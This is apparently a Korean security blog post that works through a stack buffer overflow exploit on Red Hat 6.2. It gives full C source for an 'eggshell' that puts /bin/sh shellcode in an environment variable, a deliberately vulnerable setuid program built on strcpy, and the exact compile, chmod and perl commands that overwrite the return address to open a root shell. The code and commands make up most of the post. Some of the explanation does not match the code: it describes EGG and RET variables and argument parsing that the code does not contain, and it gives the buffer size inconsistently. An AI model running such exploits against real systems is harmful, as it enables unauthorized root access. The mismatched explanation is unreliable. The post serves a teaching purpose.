스택 영역의 버퍼 사이즈를 초과시키는 데이터를 삽입해 다른 영역을 오염시키는 BoF(BufferOverFlow)취약점을 이용한다. bugfile로 RET 영역까지 데이터를 덮어씌우고 eggshell 코드가 실행시키도록 하여 root 권한을 탈취하자.
환경 : redhat6.2
eggshell.c
EGG, RET을 환경변수로 설정하여 bash 새로 실행시키는 코드이다. 이 코드의 목적은 /bin/sh 을 root권한으로 열어주는 Shellcode를 주입시키는 것인데, 이 코드를 EGG라는 환경 변수에 저장하고, RET에는 스택 주소를 넣어 root권한을 탈취하게 된다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_ADDR_SIZE 8
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_SUPERDK_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char **argv)
{
char *ptr, *superSH;
char shAddr[DEFAULT_ADDR_SIZE + 1];
char cmdBuf[DEFAULT_BUFFER_SIZE];
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET;
int i, supershLen=DEFAULT_SUPERDK_SIZE;
int chgDec[3];
if ( !(superSH = malloc(supershLen)) )
{
printf("Can't allocate memory for supershLen");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = superSH;
for(i = 0; i < supershLen - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for(i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
superSH[supershLen - 1] = '\0';
memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE);
putenv(superSH);
system("/bin/bash");
}
DEFAULT_OFFSET, DEFAULT_BUFFER_SIZE, DEFAULT_EGG_SIZE, NOP :
프로그램의 기본 설정값이다. OFFSET은 스택 주소에 대한 오프셋, BUFFER_SIZE는 버퍼의 크기, EGG_SIZE는 'EGG' 환경 변수의 크기, NOP는 'No Operation' 의미하는 어셈블리어 명령어다.
shellcode :
이는 /bin/sh 쉘을 실행하는 쉘 코드다. 이 쉘 코드는 EGG 환경 변수에 복사되어 사용된다.
get_sp 함수 :
이 함수는 현재 스택 포인터의 주소를 반환한다.
main 함수 :
- 프로그램이 어떤 인자를 받는지 확인한다. 인자는 버퍼 크기(bsize), 스택 주소 오프셋(offset), 그리고 'EGG' 환경 변수의 크기(eggsize)를 설정하는데 사용된다. 사용자가 이 값들을 제공하지 않으면 기본값이 사용된다.
- 이후 buff와 egg에 대한 메모리를 할당한다. 할당에 실패하면 에러 메시지를 출력하고 프로그램을 종료.
- get_sp() 함수를 통해 현재 스택 주소를 가져온다. 사용자가 제공한 offset을 이 주소에서 빼면 공격 대상이 될 스택의 주소를 얻게 된다.
- buff는 이 주소로 채워지며, egg는 NOP 명령어와 쉘 코드로 채워진다. NOP 명령어는 쉘 코드가 실행될 위치를 '패딩'하는데 사용된다.
- 마지막으로, 'EGG'와 'RET' 환경 변수에 각각 egg와 buff를 설정한다. 이렇게 하면 취약한 프로그램이 이 환경 변수를 읽어서 실행할 수 있게 된다.
- 마지막 줄의 system("/bin/bash");는 새로운 쉘을 실행한다. 이 쉘은 'EGG'와 'RET' 환경 변수를 상속받게 되며, 이를 사용하는 취약한 프로그램을 실행하면 공격을 시뮬레이션할 수 있다.
요약하자면, 이 함수에서는 먼저 버퍼와 EGG에 대한 메모리를 할당한다. 그런 다음 현재 스택 주소를 가져와서 오프셋을 뺀 값을 취고, 이 값을 버퍼에 채운다. 이후 EGG에 NOP 명령어와 쉘 코드를 채우고 마지막으로 EGG와 버퍼를 환경 변수에 넣어 쉘을 실행한다.
bugfile.c
#include<stdio.h>
int main(int argc, char *argv[]) {
char buffer[10];
strcpy(buffer, argv[1]);
printf("%s\n", &buffer);
}
- buffer는 10바이트의 크기를 가진 문자 배열이며, 이 배열은 스택에 할당
- strcpy 함수는 argv[1] (즉, 프로그램에 전달된 첫 번째 인자)의 내용을 buffer에 복사
- printf 함수는 buffer의 내용을 출력
bugfile.c 파일은, 명령행 인자를 받아서 그것을 buffer라는 이름의 문자 배열에 복사한 후 출력하는 역할을 한다. 이 코드는 버퍼 오버플로우 취약점을 가지고 있다.
문제는 strcpy 함수가 복사할 데이터의 길이를 검사하지 않는다는 점이다. 이로 인해 argv[1]의 길이가 buffer의 크기(12바이트)를 초과하면, buffer를 넘어서 스택의 다른 영역에도 데이터가 쓰여지게 되는데 이것이 바로 버퍼 오버플로우 취약점이다.
이런 취약점을 이용하면, 공격자는 스택에 임의의 데이터를 쓸 수 있게 되고, 이를 통해 프로그램의 흐름을 제어하거나 원치 않는 코드를 실행시킬 수 있다. 따라서 버퍼의 크기를 초과하는 데이터를 복사할 때는 반드시 길이를 검사하는 함수를 사용해야한다.
버그파일에 버퍼를 buffer[10]로 설정하였기 때문에 12바이트 크기만큼 공간이 생기게 되고, 12글자를 넘기게되는 순간 부터 다른 영역에 덮어씌어지게 된다. 그래서 A라는 문자를 13개 입력했을 시 ebp영역에 A (41) 값이 덮어지게 되면서 오염이 되는 것을 볼 수있다.
스택버퍼오버플로우 공격 실행
$ gcc -o bugfile bugfile.c
$ gcc -o eggshell eggshell.c
$ chmod 4755 bugfile
$ ./eggshell
bash$ perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\x58\xfb\xff\xbf"'
./eggshell을 실행시켜 eggshell 코드의 주소를 확인후 bugfile로 RET 영역을 eggshell 코드의 주소로 오염시키면 된다.
buffer 사이즈가 12바이트이고, 최초 ebp값이 4바이트, 즉 16바이트를 A로 모두 채운 뒤, RET값에 4바이트의 eggshell 주소값을 주입시키면, eggshell코드 위치로 이동하여 실행되게되고 바로 root권한의 쉘이 열리게 된다.
'시스템해킹' 카테고리의 다른 글
취약점 자동 분석 및 공격 0x1 환경 세팅 (0) | 2023.11.29 |
---|---|
Format String 특정 메모리값 변조 (0) | 2023.11.26 |
Return-To-Libc (RTL) 공격 (2) | 2023.11.26 |
Heap BufferOverFlow 공격 (0) | 2023.11.26 |
KISA 해킹 훈련 고급 과정 정리 (4) | 2023.11.26 |
IT/보안